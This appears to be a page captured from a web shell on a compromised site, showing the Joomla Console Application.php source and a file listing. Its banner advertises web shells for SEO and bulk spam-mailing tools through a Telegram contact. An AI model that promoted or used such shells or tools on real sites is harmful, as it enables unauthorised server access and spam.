__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Part of the Joomla Framework Console Package
 *
 * @copyright  Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Console;

use Joomla\Application\AbstractApplication;
use Joomla\Application\ApplicationEvents;
use Joomla\Console\Command\AbstractCommand;
use Joomla\Console\Command\HelpCommand;
use Joomla\Console\Event\ApplicationErrorEvent;
use Joomla\Console\Event\BeforeCommandExecuteEvent;
use Joomla\Console\Event\CommandErrorEvent;
use Joomla\Console\Event\TerminateEvent;
use Joomla\Console\Exception\NamespaceNotFoundException;
use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Symfony\Component\Console\Exception\CommandNotFoundException;
use Symfony\Component\Console\Exception\ExceptionInterface;
use Symfony\Component\Console\Exception\LogicException;
use Symfony\Component\Console\Formatter\OutputFormatter;
use Symfony\Component\Console\Helper\DebugFormatterHelper;
use Symfony\Component\Console\Helper\FormatterHelper;
use Symfony\Component\Console\Helper\HelperSet;
use Symfony\Component\Console\Helper\ProcessHelper;
use Symfony\Component\Console\Helper\QuestionHelper;
use Symfony\Component\Console\Input\ArgvInput;
use Symfony\Component\Console\Input\ArrayInput;
use Symfony\Component\Console\Input\InputArgument;
use Symfony\Component\Console\Input\InputAwareInterface;
use Symfony\Component\Console\Input\InputDefinition;
use Symfony\Component\Console\Input\InputInterface;
use Symfony\Component\Console\Input\InputOption;
use Symfony\Component\Console\Output\ConsoleOutput;
use Symfony\Component\Console\Output\ConsoleOutputInterface;
use Symfony\Component\Console\Output\OutputInterface;
use Symfony\Component\Console\Style\SymfonyStyle;
use Symfony\Component\Console\Terminal;
use Symfony\Component\ErrorHandler\ErrorHandler;

/**
 * Base application class for a Joomla! command line application.
 *
 * @since  2.0.0
 */
class Application extends AbstractApplication
{
    /**
     * Flag indicating the application should automatically exit after the command is run.
     *
     * @var    boolean
     * @since  2.0.0
     */
    private $autoExit = true;

    /**
     * Flag indicating the application should catch and handle Throwables.
     *
     * @var    boolean
     * @since  2.0.0
     */
    private $catchThrowables = true;

    /**
     * The available commands.
     *
     * @var    AbstractCommand[]
     * @since  2.0.0
     */
    private $commands = [];

    /**
     * The command loader.
     *
     * @var    Loader\LoaderInterface|null
     * @since  2.0.0
     */
    private $commandLoader;

    /**
     * Console input handler.
     *
     * @var    InputInterface
     * @since  2.0.0
     */
    private $consoleInput;

    /**
     * Console output handler.
     *
     * @var    OutputInterface
     * @since  2.0.0
     */
    private $consoleOutput;

    /**
     * The default command for the application.
     *
     * @var    string
     * @since  2.0.0
     */
    private $defaultCommand = 'list';

    /**
     * The application input definition.
     *
     * @var    InputDefinition|null
     * @since  2.0.0
     */
    private $definition;

    /**
     * The application helper set.
     *
     * @var    HelperSet|null
     * @since  2.0.0
     */
    private $helperSet;

    /**
     * Internal flag tracking if the command store has been initialised.
     *
     * @var    boolean
     * @since  2.0.0
     */
    private $initialised = false;

    /**
     * The name of the application.
     *
     * @var    string
     * @since  2.0.0
     */
    private $name = '';

    /**
     * Reference to the currently running command.
     *
     * @var    AbstractCommand|null
     * @since  2.0.0
     */
    private $runningCommand;

    /**
     * The console terminal helper.
     *
     * @var    Terminal
     * @since  2.0.0
     */
    private $terminal;

    /**
     * The version of the application.
     *
     * @var    string
     * @since  2.0.0
     */
    private $version = '';

    /**
     * Internal flag tracking if the user is seeking help for the given command.
     *
     * @var    boolean
     * @since  2.0.0
     */
    private $wantsHelp = false;

    /**
     * Class constructor.
     *
     * @param   ?InputInterface   $input   An optional argument to provide dependency injection for the application's input object.  If the argument is
     *                                     an InputInterface object that object will become the application's input object, otherwise a default input
     *                                     object is created.
     * @param   ?OutputInterface  $output  An optional argument to provide dependency injection for the application's output object.  If the argument
     *                                     is an OutputInterface object that object will become the application's output object, otherwise a default
     *                                     output object is created.
     * @param   ?Registry         $config  An optional argument to provide dependency injection for the application's config object.  If the argument
     *                                     is a Registry object that object will become the application's config object, otherwise a default config
     *                                     object is created.
     *
     * @since   2.0.0
     */
    public function __construct(?InputInterface $input = null, ?OutputInterface $output = null, ?Registry $config = null)
    {
        // Close the application if we are not executed from the command line.
        if (!\defined('STDOUT') || !\defined('STDIN') || !isset($_SERVER['argv'])) {
            $this->close();
        }

        $this->consoleInput  = $input ?: new ArgvInput();
        $this->consoleOutput = $output ?: new ConsoleOutput();
        $this->terminal      = new Terminal();

        // Call the constructor as late as possible (it runs `initialise`).
        parent::__construct($config);
    }

    /**
     * Adds a command object.
     *
     * If a command with the same name already exists, it will be overridden. If the command is not enabled it will not be added.
     *
     * @param   AbstractCommand  $command  The command to add to the application.
     *
     * @return  AbstractCommand
     *
     * @since   2.0.0
     * @throws  LogicException
     */
    public function addCommand(AbstractCommand $command): AbstractCommand
    {
        $this->initCommands();

        if (!$command->isEnabled()) {
            return $command;
        }

        $command->setApplication($this);

        try {
            $command->getDefinition();
        } catch (\TypeError $exception) {
            throw new LogicException(sprintf('Command class "%s" is not correctly initialised.', \get_class($command)), 0, $exception);
        }

        if (!$command->getName()) {
            throw new LogicException(sprintf('The command class "%s" does not have a name.', \get_class($command)));
        }

        $this->commands[$command->getName()] = $command;

        foreach ($command->getAliases() as $alias) {
            $this->commands[$alias] = $command;
        }

        return $command;
    }

    /**
     * Configures the console input and output instances for the process.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    protected function configureIO(): void
    {
        if ($this->consoleInput->hasParameterOption(['--ansi'], true)) {
            $this->consoleOutput->setDecorated(true);
        } elseif ($this->consoleInput->hasParameterOption(['--no-ansi'], true)) {
            $this->consoleOutput->setDecorated(false);
        }

        if ($this->consoleInput->hasParameterOption(['--no-interaction', '-n'], true)) {
            $this->consoleInput->setInteractive(false);
        }

        if ($this->consoleInput->hasParameterOption(['--quiet', '-q'], true)) {
            $this->consoleOutput->setVerbosity(OutputInterface::VERBOSITY_QUIET);
            $this->consoleInput->setInteractive(false);
        } else {
            if (
                $this->consoleInput->hasParameterOption('-vvv', true)
                || $this->consoleInput->hasParameterOption('--verbose=3', true)
                || $this->consoleInput->getParameterOption('--verbose', false, true) === 3
            ) {
                $this->consoleOutput->setVerbosity(OutputInterface::VERBOSITY_DEBUG);
            } elseif (
                $this->consoleInput->hasParameterOption('-vv', true)
                || $this->consoleInput->hasParameterOption('--verbose=2', true)
                || $this->consoleInput->getParameterOption('--verbose', false, true) === 2
            ) {
                $this->consoleOutput->setVerbosity(OutputInterface::VERBOSITY_VERY_VERBOSE);
            } elseif (
                $this->consoleInput->hasParameterOption('-v', true)
                || $this->consoleInput->hasParameterOption('--verbose=1', true)
                || $this->consoleInput->hasParameterOption('--verbose', true)
                || $this->consoleInput->getParameterOption('--verbose', false, true)
            ) {
                $this->consoleOutput->setVerbosity(OutputInterface::VERBOSITY_VERBOSE);
            }
        }
    }

    /**
     * Method to run the application routines.
     *
     * @return  integer  The exit code for the application
     *
     * @since   2.0.0
     * @throws  \Throwable
     */
    protected function doExecute(): int
    {
        $input  = $this->consoleInput;
        $output = $this->consoleOutput;

        // If requesting the version, short circuit the application and send the version data
        if ($input->hasParameterOption(['--version', '-V'], true)) {
            $output->writeln($this->getLongVersion());

            return 0;
        }

        try {
            // Makes ArgvInput::getFirstArgument() able to distinguish an option from an argument.
            $input->bind($this->getDefinition());
        } catch (ExceptionInterface $e) {
            // Errors must be ignored, full binding/validation happens later when the command is known.
        }

        $name = $this->getCommandName($input);

        // Redirect to the help command if requested
        if ($input->hasParameterOption(['--help', '-h'], true)) {
            // If no command name was given, use the help command with a minimal input; otherwise flag the request for processing later
            if (!$name) {
                $name  = 'help';
                $input = new ArrayInput(['command_name' => $this->defaultCommand]);
            } else {
                $this->wantsHelp = true;
            }
        }

        // If we still do not have a command name, then the user has requested the application's default command
        if (!$name) {
            $name       = $this->defaultCommand;
            $definition = $this->getDefinition();

            // Overwrite the default value of the command argument with the default command name
            $definition->setArguments(
                array_merge(
                    $definition->getArguments(),
                    [
                        'command' => new InputArgument(
                            'command',
                            InputArgument::OPTIONAL,
                            $definition->getArgument('command')->getDescription(),
                            $name
                        ),
                    ]
                )
            );
        }

        try {
            $this->runningCommand = null;

            $command = $this->getCommand($name);
        } catch (\Throwable $e) {
            if ($e instanceof CommandNotFoundException && !($e instanceof NamespaceNotFoundException)) {
                (new SymfonyStyle($input, $output))->block(sprintf("\nCommand \"%s\" is not defined.\n", $name), null, 'error');
            }

            $event = new CommandErrorEvent($e, $this);

            $this->dispatchEvent(ConsoleEvents::COMMAND_ERROR, $event);

            if ($event->getExitCode() === 0) {
                return 0;
            }

            $e = $event->getError();

            throw $e;
        }

        $this->runningCommand = $command;
        $exitCode             = $this->runCommand($command, $input, $output);
        $this->runningCommand = null;

        return $exitCode;
    }

    /**
     * Execute the application.
     *
     * @return  void
     *
     * @since   2.0.0
     * @throws  \Throwable
     */
    public function execute()
    {
        putenv('LINES=' . $this->terminal->getHeight());
        putenv('COLUMNS=' . $this->terminal->getWidth());

        $this->configureIO();

        $renderThrowable = function (\Throwable $e) {
            $this->renderThrowable($e);
        };

        if ($phpHandler = set_exception_handler($renderThrowable)) {
            restore_exception_handler();

            if (!\is_array($phpHandler) || !$phpHandler[0] instanceof ErrorHandler) {
                $errorHandler = true;
            } elseif ($errorHandler = $phpHandler[0]->setExceptionHandler($renderThrowable)) {
                $phpHandler[0]->setExceptionHandler($errorHandler);
            }
        }

        try {
            $this->dispatchEvent(ApplicationEvents::BEFORE_EXECUTE);

            // Perform application routines.
            $exitCode = $this->doExecute();

            $this->dispatchEvent(ApplicationEvents::AFTER_EXECUTE);
        } catch (\Throwable $throwable) {
            if (!$this->shouldCatchThrowables()) {
                throw $throwable;
            }

            $renderThrowable($throwable);

            $event = new ApplicationErrorEvent($throwable, $this, $this->runningCommand);

            $this->dispatchEvent(ConsoleEvents::APPLICATION_ERROR, $event);

            $exitCode = $event->getExitCode();

            if ($exitCode === 0) {
                $exitCode = 1;
            }
        } finally {
            // If the exception handler changed, keep it; otherwise, unregister $renderThrowable
            if (!$phpHandler) {
                if (set_exception_handler($renderThrowable) === $renderThrowable) {
                    restore_exception_handler();
                }

                restore_exception_handler();
            } elseif (!$errorHandler) {
                $finalHandler = $phpHandler[0]->setExceptionHandler(null);

                if ($finalHandler !== $renderThrowable) {
                    $phpHandler[0]->setExceptionHandler($finalHandler);
                }
            }

            if ($this->shouldAutoExit() && isset($exitCode)) {
                $exitCode = $exitCode > 255 ? 255 : $exitCode;
                $this->close($exitCode);
            }
        }
    }

    /**
     * Finds a registered namespace by a name.
     *
     * @param   string  $namespace  A namespace to search for
     *
     * @return  string
     *
     * @since   2.0.0
     * @throws  NamespaceNotFoundException When namespace is incorrect or ambiguous
     */
    public function findNamespace(string $namespace): string
    {
        $allNamespaces = $this->getNamespaces();

        $expr = preg_replace_callback(
            '{([^:]+|)}',
            function ($matches) {
                return preg_quote($matches[1]) . '[^:]*';
            },
            $namespace
        );

        $namespaces = preg_grep('{^' . $expr . '}', $allNamespaces);

        if (empty($namespaces)) {
            throw new NamespaceNotFoundException(sprintf('There are no commands defined in the "%s" namespace.', $namespace));
        }

        $exact = \in_array($namespace, $namespaces, true);

        if (\count($namespaces) > 1 && !$exact) {
            throw new NamespaceNotFoundException(sprintf('The namespace "%s" is ambiguous.', $namespace));
        }

        return $exact ? $namespace : reset($namespaces);
    }

    /**
     * Gets all commands, including those available through a command loader, optionally filtered on a command namespace.
     *
     * @param   string  $namespace  An optional command namespace to filter by.
     *
     * @return  AbstractCommand[]
     *
     * @since   2.0.0
     */
    public function getAllCommands(string $namespace = ''): array
    {
        $this->initCommands();

        if ($namespace === '') {
            $commands = $this->commands;

            if (!$this->commandLoader) {
                return $commands;
            }

            foreach ($this->commandLoader->getNames() as $name) {
                if (!isset($commands[$name])) {
                    $commands[$name] = $this->getCommand($name);
                }
            }

            return $commands;
        }

        $commands = [];

        foreach ($this->commands as $name => $command) {
            if ($namespace === $this->extractNamespace($name, substr_count($namespace, ':') + 1)) {
                $commands[$name] = $command;
            }
        }

        if ($this->commandLoader) {
            foreach ($this->commandLoader->getNames() as $name) {
                if (!isset($commands[$name]) && $namespace === $this->extractNamespace($name, substr_count($namespace, ':') + 1)) {
                    $commands[$name] = $this->getCommand($name);
                }
            }
        }

        return $commands;
    }

    /**
     * Returns a registered command by name or alias.
     *
     * @param   string  $name  The command name or alias
     *
     * @return  AbstractCommand
     *
     * @since   2.0.0
     * @throws  CommandNotFoundException
     */
    public function getCommand(string $name): AbstractCommand
    {
        $this->initCommands();

        if (!$this->hasCommand($name)) {
            throw new CommandNotFoundException(sprintf('The command "%s" does not exist.', $name));
        }

        // If the command isn't registered, pull it from the loader if registered
        if (!isset($this->commands[$name]) && $this->commandLoader) {
            $this->addCommand($this->commandLoader->get($name));
        }

        $command = $this->commands[$name];

        // If the user requested help, we'll fetch the help command now and inject the user's command into it
        if ($this->wantsHelp) {
            $this->wantsHelp = false;

            /** @var HelpCommand $helpCommand */
            $helpCommand = $this->getCommand('help');
            $helpCommand->setCommand($command);

            return $helpCommand;
        }

        return $command;
    }

    /**
     * Get the name of the command to run.
     *
     * @param   InputInterface  $input  The input to read the argument from
     *
     * @return  string|null
     *
     * @since   2.0.0
     */
    protected function getCommandName(InputInterface $input): ?string
    {
        return $input->getFirstArgument();
    }

    /**
     * Get the registered commands.
     *
     * This method only retrieves commands which have been explicitly registered.  To get all commands including those from a
     * command loader, use the `getAllCommands()` method.
     *
     * @return  AbstractCommand[]
     *
     * @since   2.0.0
     */
    public function getCommands(): array
    {
        return $this->commands;
    }

    /**
     * Get the console input handler.
     *
     * @return  InputInterface
     *
     * @since   2.0.0
     */
    public function getConsoleInput(): InputInterface
    {
        return $this->consoleInput;
    }

    /**
     * Get the console output handler.
     *
     * @return  OutputInterface
     *
     * @since   2.0.0
     */
    public function getConsoleOutput(): OutputInterface
    {
        return $this->consoleOutput;
    }

    /**
     * Get the commands which should be registered by default to the application.
     *
     * @return  AbstractCommand[]
     *
     * @since   2.0.0
     */
    protected function getDefaultCommands(): array
    {
        return [
            new Command\ListCommand(),
            new Command\HelpCommand(),
        ];
    }

    /**
     * Builds the default input definition.
     *
     * @return  InputDefinition
     *
     * @since   2.0.0
     */
    protected function getDefaultInputDefinition(): InputDefinition
    {
        return new InputDefinition(
            [
                new InputArgument('command', InputArgument::REQUIRED, 'The command to execute'),
                new InputOption('--help', '-h', InputOption::VALUE_NONE, 'Display the help information'),
                new InputOption('--quiet', '-q', InputOption::VALUE_NONE, 'Flag indicating that all output should be silenced'),
                new InputOption(
                    '--verbose',
                    '-v|vv|vvv',
                    InputOption::VALUE_NONE,
                    'Increase the verbosity of messages: 1 for normal output, 2 for more verbose output and 3 for debug'
                ),
                new InputOption('--version', '-V', InputOption::VALUE_NONE, 'Displays the application version'),
                new InputOption('--ansi', '', InputOption::VALUE_NONE, 'Force ANSI output'),
                new InputOption('--no-ansi', '', InputOption::VALUE_NONE, 'Disable ANSI output'),
                new InputOption('--no-interaction', '-n', InputOption::VALUE_NONE, 'Flag to disable interacting with the user'),
            ]
        );
    }

    /**
     * Builds the default helper set.
     *
     * @return  HelperSet
     *
     * @since   2.0.0
     */
    protected function getDefaultHelperSet(): HelperSet
    {
        return new HelperSet(
            [
                new FormatterHelper(),
                new DebugFormatterHelper(),
                new ProcessHelper(),
                new QuestionHelper(),
            ]
        );
    }

    /**
     * Gets the InputDefinition related to this Application.
     *
     * @return  InputDefinition
     *
     * @since   2.0.0
     */
    public function getDefinition(): InputDefinition
    {
        if (!$this->definition) {
            $this->definition = $this->getDefaultInputDefinition();
        }

        return $this->definition;
    }

    /**
     * Get the helper set associated with the application.
     *
     * @return  HelperSet
     */
    public function getHelperSet(): HelperSet
    {
        if (!$this->helperSet) {
            $this->helperSet = $this->getDefaultHelperSet();
        }

        return $this->helperSet;
    }

    /**
     * Get the long version string for the application.
     *
     * Typically, this is the application name and version and is used in the application help output.
     *
     * @return  string
     *
     * @since   2.0.0
     */
    public function getLongVersion(): string
    {
        $name = $this->getName();

        if ($name === '') {
            $name = 'Joomla Console Application';
        }

        if ($this->getVersion() !== '') {
            return sprintf('%s <info>%s</info>', $name, $this->getVersion());
        }

        return $name;
    }

    /**
     * Get the name of the application.
     *
     * @return  string
     *
     * @since   2.0.0
     */
    public function getName(): string
    {
        return $this->name;
    }

    /**
     * Returns an array of all unique namespaces used by currently registered commands.
     *
     * Note that this does not include the global namespace which always exists.
     *
     * @return  string[]
     *
     * @since   2.0.0
     */
    public function getNamespaces(): array
    {
        $namespaces = [];

        foreach ($this->getAllCommands() as $command) {
            $namespaces = array_merge($namespaces, $this->extractAllNamespaces($command->getName()));

            foreach ($command->getAliases() as $alias) {
                $namespaces = array_merge($namespaces, $this->extractAllNamespaces($alias));
            }
        }

        return array_values(array_unique(array_filter($namespaces)));
    }

    /**
     * Get the version of the application.
     *
     * @return  string
     *
     * @since   2.0.0
     */
    public function getVersion(): string
    {
        return $this->version;
    }

    /**
     * Check if the application has a command with the given name.
     *
     * @param   string  $name  The name of the command to check for existence.
     *
     * @return  boolean
     *
     * @since   2.0.0
     */
    public function hasCommand(string $name): bool
    {
        $this->initCommands();

        // If command is already registered, we're good
        if (isset($this->commands[$name])) {
            return true;
        }

        // If there is no loader, we can't look for a command there
        if (!$this->commandLoader) {
            return false;
        }

        return $this->commandLoader->has($name);
    }

    /**
     * Custom initialisation method.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    protected function initialise(): void
    {
        // Set the current directory.
        $this->set('cwd', getcwd());
    }

    /**
     * Renders an error message for a Throwable object
     *
     * @param   \Throwable  $throwable  The Throwable object to render the message for.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function renderThrowable(\Throwable $throwable): void
    {
        $output = $this->consoleOutput instanceof ConsoleOutputInterface ? $this->consoleOutput->getErrorOutput() : $this->consoleOutput;

        $output->writeln('', OutputInterface::VERBOSITY_QUIET);

        $this->doRenderThrowable($throwable, $output);

        if (null !== $this->runningCommand) {
            $output->writeln(
                sprintf(
                    '<info>%s</info>',
                    sprintf($this->runningCommand->getSynopsis(), $this->getName())
                ),
                OutputInterface::VERBOSITY_QUIET
            );

            $output->writeln('', OutputInterface::VERBOSITY_QUIET);
        }
    }

    /**
     * Handles recursively rendering error messages for a Throwable and all previous Throwables contained within.
     *
     * @param   \Throwable       $throwable  The Throwable object to render the message for.
     * @param   OutputInterface  $output     The output object to send the message to.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    protected function doRenderThrowable(\Throwable $throwable, OutputInterface $output): void
    {
        do {
            $message = trim($throwable->getMessage());

            if ($message === '' || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) {
                $class = \get_class($throwable);

                if ($class[0] === 'c' && strpos($class, "class@anonymous\0") === 0) {
                    $class = get_parent_class($class) ?: key(class_implements($class));
                }

                $title = sprintf('  [%s%s]  ', $class, ($code = $throwable->getCode()) !== 0 ? ' (' . $code . ')' : '');
                $len   = StringHelper::strlen($title);
            } else {
                $title = '';
                $len = 0;
            }

            if (strpos($message, "class@anonymous\0") !== false) {
                $message = preg_replace_callback(
                    '/class@anonymous\x00.*?\.php(?:0x?|:[0-9]++\$)[0-9a-fA-F]++/',
                    function ($m) {
                        return class_exists($m[0], false) ? (get_parent_class($m[0]) ?: key(class_implements($m[0]))) . '@anonymous' : $m[0];
                    },
                    $message
                );
            }

            $width = $this->terminal->getWidth() ? $this->terminal->getWidth() - 1 : PHP_INT_MAX;
            $lines = [];

            foreach ($message !== '' ? preg_split('/\r?\n/', $message) : [] as $line) {
                foreach ($this->splitStringByWidth($line, $width - 4) as $line) {
                    // Pre-format lines to get the right string length
                    $lineLength = StringHelper::strlen($line) + 4;
                    $lines[]    = [$line, $lineLength];
                    $len        = max($lineLength, $len);
                }
            }

            $messages = [];

            if (!$throwable instanceof ExceptionInterface || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) {
                $messages[] = sprintf(
                    '<comment>%s</comment>',
                    OutputFormatter::escape(
                        sprintf(
                            'In %s line %s:',
                            basename($throwable->getFile()) ?: 'n/a',
                            $throwable->getLine() ?: 'n/a'
                        )
                    )
                );
            }

            $messages[] = $emptyLine = sprintf('<error>%s</error>', str_repeat(' ', $len));

            if ($message === '' || OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) {
                $messages[] = sprintf('<error>%s%s</error>', $title, str_repeat(' ', max(0, $len - StringHelper::strlen($title))));
            }

            foreach ($lines as $line) {
                $messages[] = sprintf('<error>  %s  %s</error>', OutputFormatter::escape($line[0]), str_repeat(' ', $len - $line[1]));
            }

            $messages[] = $emptyLine;
            $messages[] = '';

            $output->writeln($messages, OutputInterface::VERBOSITY_QUIET);

            if (OutputInterface::VERBOSITY_VERBOSE <= $output->getVerbosity()) {
                $output->writeln('<comment>Exception trace:</comment>', OutputInterface::VERBOSITY_QUIET);

                // Exception related properties
                $trace = $throwable->getTrace();
                array_unshift(
                    $trace,
                    [
                        'function' => '',
                        'file'     => $throwable->getFile() ?: 'n/a',
                        'line'     => $throwable->getLine() ?: 'n/a',
                        'args'     => [],
                    ]
                );

                for ($i = 0, $count = \count($trace); $i < $count; ++$i) {
                    $class    = $trace[$i]['class'] ?? '';
                    $type     = $trace[$i]['type'] ?? '';
                    $function = $trace[$i]['function'] ?? '';
                    $file     = $trace[$i]['file'] ?? 'n/a';
                    $line     = $trace[$i]['line'] ?? 'n/a';

                    $output->writeln(
                        sprintf(
                            ' %s%s at <info>%s:%s</info>',
                            $class,
                            $function ? $type . $function . '()' : '',
                            $file,
                            $line
                        ),
                        OutputInterface::VERBOSITY_QUIET
                    );
                }

                $output->writeln('', OutputInterface::VERBOSITY_QUIET);
            }
        } while ($throwable = $throwable->getPrevious());
    }

    /**
     * Splits a string for a specified width for use in an output.
     *
     * @param   string   $string  The string to split.
     * @param   integer  $width   The maximum width of the output.
     *
     * @return  string[]
     *
     * @since   2.0.0
     */
    private function splitStringByWidth(string $string, int $width): array
    {
        /*
         * The str_split function is not suitable for multi-byte characters, we should use preg_split to get char array properly.
         * Additionally, array_slice() is not enough as some character has doubled width.
         * We need a function to split string not by character count but by string width
         */
        if (false === $encoding = mb_detect_encoding($string, null, true)) {
            return str_split($string, $width);
        }

        $utf8String = mb_convert_encoding($string, 'utf8', $encoding);
        $lines      = [];
        $line       = '';
        $offset     = 0;

        while (preg_match('/.{1,10000}/u', $utf8String, $m, 0, $offset)) {
            $offset += \strlen($m[0]);

            foreach (preg_split('//u', $m[0]) as $char) {
                // Test if $char could be appended to current line
                if (mb_strwidth($line . $char, 'utf8') <= $width) {
                    $line .= $char;

                    continue;
                }

                // If not, push current line to array and make a new line
                $lines[] = str_pad($line, $width);
                $line    = $char;
            }
        }

        $lines[] = \count($lines) ? str_pad($line, $width) : $line;
        mb_convert_variables($encoding, 'utf8', $lines);

        return $lines;
    }

    /**
     * Run the given command.
     *
     * @param   AbstractCommand  $command  The command to run.
     * @param   InputInterface   $input    The input to inject into the command.
     * @param   OutputInterface  $output   The output to inject into the command.
     *
     * @return  integer
     *
     * @since   2.0.0
     * @throws  \Throwable
     */
    protected function runCommand(AbstractCommand $command, InputInterface $input, OutputInterface $output): int
    {
        if ($command->getHelperSet() !== null) {
            foreach ($command->getHelperSet() as $helper) {
                if ($helper instanceof InputAwareInterface) {
                    $helper->setInput($input);
                }
            }
        }

        // If the application doesn't have an event dispatcher, we can short circuit and just execute the command
        try {
            $this->getDispatcher();
        } catch (\UnexpectedValueException $exception) {
            return $command->execute($input, $output);
        }

        // Bind before dispatching the event so the listeners have access to input options/arguments
        try {
            $command->mergeApplicationDefinition();
            $input->bind($command->getDefinition());
        } catch (ExceptionInterface $e) {
            // Ignore invalid options/arguments for now
        }

        $event     = new BeforeCommandExecuteEvent($this, $command);
        $exception = null;

        try {
            $this->dispatchEvent(ConsoleEvents::BEFORE_COMMAND_EXECUTE, $event);

            if ($event->isCommandEnabled()) {
                $exitCode = $command->execute($input, $output);
            } else {
                $exitCode = BeforeCommandExecuteEvent::RETURN_CODE_DISABLED;
            }
        } catch (\Throwable $exception) {
            $event = new CommandErrorEvent($exception, $this, $command);

            $this->dispatchEvent(ConsoleEvents::COMMAND_ERROR, $event);

            $exception = $event->getError();
            $exitCode  = $event->getExitCode();

            if ($exitCode === 0) {
                $exception = null;
            }
        }

        $event = new TerminateEvent($exitCode, $this, $command);

        $this->dispatchEvent(ConsoleEvents::TERMINATE, $event);

        if ($exception !== null) {
            throw $exception;
        }

        return $event->getExitCode();
    }

    /**
     * Set whether the application should auto exit.
     *
     * @param   boolean  $autoExit  The auto exit state.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function setAutoExit(bool $autoExit): void
    {
        $this->autoExit = $autoExit;
    }

    /**
     * Set whether the application should catch Throwables.
     *
     * @param   boolean  $catchThrowables  The catch Throwables state.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function setCatchThrowables(bool $catchThrowables): void
    {
        $this->catchThrowables = $catchThrowables;
    }

    /**
     * Set the command loader.
     *
     * @param   Loader\LoaderInterface  $loader  The new command loader.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function setCommandLoader(Loader\LoaderInterface $loader): void
    {
        $this->commandLoader = $loader;
    }

    /**
     * Set the application's helper set.
     *
     * @param   HelperSet  $helperSet  The new HelperSet.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function setHelperSet(HelperSet $helperSet): void
    {
        $this->helperSet = $helperSet;
    }

    /**
     * Set the name of the application.
     *
     * @param   string  $name  The new application name.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function setName(string $name): void
    {
        $this->name = $name;
    }

    /**
     * Set the version of the application.
     *
     * @param   string  $version  The new application version.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    public function setVersion(string $version): void
    {
        $this->version = $version;
    }

    /**
     * Get the application's auto exit state.
     *
     * @return  boolean
     *
     * @since   2.0.0
     */
    public function shouldAutoExit(): bool
    {
        return $this->autoExit;
    }

    /**
     * Get the application's catch Throwables state.
     *
     * @return  boolean
     *
     * @since   2.0.0
     */
    public function shouldCatchThrowables(): bool
    {
        return $this->catchThrowables;
    }

    /**
     * Returns all namespaces of the command name.
     *
     * @param   string  $name  The full name of the command
     *
     * @return  string[]
     *
     * @since   2.0.0
     */
    private function extractAllNamespaces(string $name): array
    {
        // -1 as third argument is needed to skip the command short name when exploding
        $parts      = explode(':', $name, -1);
        $namespaces = [];

        foreach ($parts as $part) {
            if (\count($namespaces)) {
                $namespaces[] = end($namespaces) . ':' . $part;
            } else {
                $namespaces[] = $part;
            }
        }

        return $namespaces;
    }

    /**
     * Returns the namespace part of the command name.
     *
     * @param   string    $name   The command name to process
     * @param   ?integer  $limit  The maximum number of parts of the namespace
     *
     * @return  string
     *
     * @since   2.0.0
     */
    private function extractNamespace(string $name, ?int $limit = null): string
    {
        $parts = explode(':', $name);
        array_pop($parts);

        return implode(':', $limit === null ? $parts : \array_slice($parts, 0, $limit));
    }

    /**
     * Internal function to initialise the command store, this allows the store to be lazy loaded only when needed.
     *
     * @return  void
     *
     * @since   2.0.0
     */
    private function initCommands(): void
    {
        if ($this->initialised) {
            return;
        }

        $this->initialised = true;

        foreach ($this->getDefaultCommands() as $command) {
            $this->addCommand($command);
        }
    }
}

Filemanager

Name Type Size Permission Actions
Command Folder 0775
Descriptor Folder 0775
Event Folder 0775
Exception Folder 0775
Helper Folder 0775
Loader Folder 0775
Application.php File 38.24 KB 0664
ConsoleEvents.php File 1.7 KB 0664
Filemanager